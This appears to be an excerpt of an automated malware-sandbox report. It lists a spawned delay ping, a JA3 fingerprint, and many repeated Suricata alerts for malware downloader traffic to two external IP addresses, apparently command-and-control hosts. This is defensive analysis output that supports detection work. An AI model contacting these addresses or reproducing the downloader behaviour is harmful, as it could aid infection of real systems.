
Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2

Source: global traffic

TCP traffic: 192.168.2.4:49753 -> 107.163.241.232:12354

Source: Joe Sandbox View

IP Address: 202.108.0.52 202.108.0.52

Source: Joe Sandbox View

ASN Name: TAKE2US TAKE2US

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49780 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49754 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49805 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49771 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49790 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49826 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49823 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49808 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49753 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49788 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49807 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49845 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49861 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49844 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49947 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49860 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49932 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50064 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49876 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50131 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50086 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50027 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49842 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49910 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50147 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50008 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49895 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49985 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50129 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50048 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49949 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50066 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50195 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50223 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50046 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49969 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49913 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50429 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50270 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50470 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50563 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50324 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50295 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50226 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50356 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50687 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49873 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50835 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49896 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50298 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50321 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49772 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50837 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51050 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50502 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51141 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51278 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50618 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50243 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50104 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51284 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51148 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50557 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50267 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49987 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50912 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51378 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51386 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50467 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50392 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50088 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50359 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50240 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50423 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51739 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50024 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51741 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51045 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:53686 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51568 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51478 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50748 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50106 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:53818 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:52374 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50150 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:57170 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50692 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:56252 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:60535 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:52288 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49971 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:57220 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50389 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:58979 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50005 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:55654 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49930 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:56358 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:64295 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51666 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:64094 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50622 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51032 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50500 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:60620 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:55673 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51644 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:56227 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51043 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:54301 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50192 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49302 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:56134 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49297 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:59963 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50175 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:54225 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:57840 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:60164 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50173 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50919 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:52742 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:63248 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:60300 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:65122 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:62240 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50596 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:61430 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:58813 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:54837 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:55703 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:57677 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51600 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:52411 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:58094 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:60899 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:54958 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:61535 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:63325 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:62586 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:64312 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:62496 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:65171 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49778 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:52883 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:59184 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50753 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:54632 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50909 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49941 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:56578 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:65063 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51468 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:59080 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:54647 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:60227 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:60079 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49506 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:61332 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50767 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:56402 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:52408 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:59082 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:56499 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:57106 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:59956 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:57853 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:61240 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:51577 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:62038 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49593 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:50786 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:53079 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:62150 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:53248 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:63702 -> 107.163.241.232:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:64439 -> 107.163.241.232:12354
